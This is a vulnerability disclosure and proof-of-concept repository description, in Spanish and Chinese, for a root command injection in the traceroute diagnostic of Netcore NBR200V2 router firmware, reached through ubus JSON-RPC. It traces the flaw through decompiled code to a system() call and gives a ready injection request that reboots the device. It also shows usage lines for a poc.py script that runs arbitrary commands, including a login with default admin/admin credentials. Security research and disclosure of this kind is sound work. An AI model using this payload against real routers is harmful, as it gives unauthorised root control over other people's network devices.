
PoC para CVE-2026-94095, una inyección de comandos en traceroute en el firmware Netcore NBR200V2 a través de ubus JSON-RPC, que permite RCE como root para pruebas autorizadas.
| Campo | Valor |
|---|---|
| Fabricante | Netcore |
| Modelo | NBR200V2 |
| Versión de Firmware | V1.3.241127.071246 |
| Componente Afectado | /usr/bin/network_tools |
| Tipo de Vulnerabilidad | Inyección de Comandos del SO (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Crítico) |
| Vector de Ataque | Remoto (ubus JSON-RPC) |
| Requisito Previo | Endpoint ubus accesible + una sesión de bajo privilegio (sid) |
| Estado del Fabricante | Contactado con antelación; sin respuesta; sin parche en el momento de la divulgación |
El firmware V1.3.241127.071246 del Netcore NBR200V2 contiene una vulnerabilidad de inyección remota de comandos en la función de diagnóstico traceroute. El manejador de traceroute acepta un valor url controlado por el atacante desde ubus JSON-RPC, lo concatena en un comando de shell y ejecuta el comando resultante. Un atacante remoto puede usar esta falla para ejecutar comandos de shell arbitrarios, reiniciar el dispositivo o lograr el compromiso total del sistema.
La solicitud remota se acepta como ubus JSON-RPC:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
El mapeo del método ubus enruta la solicitud a sub_401BD8:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 analiza los datos JSON-RPC y los reenvía a tools_traceroute():
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() construye un comando de shell usando el valor url no confiable:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
La vulnerabilidad es estructuralmente idéntica al problema de ping, pero alcanza un sink y una ruta de ejecución diferentes. Debido a que se utiliza system(), los separadores de comandos como ;, && y los comentarios de shell son respetados. La función de diagnóstico se convierte por lo tanto en una primitiva de ejecución de comandos de propósito general.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
Efecto esperado: el router ejecuta reboot mientras procesa la tarea de traceroute. Se pueden sustituir comandos de shell arbitrarios en lugar de reboot.
Las tres alcanzan el mismo /usr/bin/network_tools; las funciones de diagnóstico en este binario comparten el mismo patrón inseguro, por lo que corregir un único punto de entrada no es suficiente.
Sin parche del fabricante en el momento de la divulgación. Mitigaciones provisionales:
Divulgación por el investigador independiente que publicó el informe técnico y coordinó (sin éxito) con el fabricante.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。